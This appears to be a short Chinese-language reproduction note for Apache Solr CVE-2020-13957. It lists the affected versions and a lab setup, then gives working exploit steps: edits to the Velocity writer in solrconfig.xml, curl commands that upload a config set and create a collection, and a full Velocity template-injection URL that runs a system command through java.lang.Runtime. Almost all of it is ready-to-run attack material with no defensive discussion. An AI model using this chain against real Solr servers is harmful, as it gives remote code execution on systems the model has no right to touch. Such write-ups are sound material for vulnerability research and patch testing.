solr（CVE-2020-13957）文件上传

影响版本

Apache Solr 6.6.0 - 6.6.5

Apache Solr 7.0.0 - 7.7.3

Apache Solr 8.0.0 - 8.6.2

环境搭建

下载环境

http://archive.apache.org/dist/lucene/solr/7.7.0/
进入solr-7.7.0/bin目录下，使用   ./solr start -e cloud -force启动一个cloud

测试

1.进入/solr-7.7.0/server/solr/configsets/sample_techproducts_configs/conf 目录

修改solrconfig.xml如下内容：

改为

<queryResponseWriter
name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
<str
name="template.base.dir">${velocity.template.base.dir:}</str>
<str
name="solr.resource.loader.enabled">${velocity.solr.resource.loader.enabled:true}</str>
<str
name="params.resource.loader.enabled">${velocity.params.resource.loader.enabled:true}</str>
</queryResponseWriter>

2.执行命令

zip -r - * > mytest.zip

curl
-X POST --header "Content-Type:application/octet-stream" --data-binary
@mytest.zip
"http://192.168.244.129:8983/solr/admin/configs?action=UPLOAD&name=mytest"

curl

"http://192.168.244.129:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"

执行命令

http://localhost:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end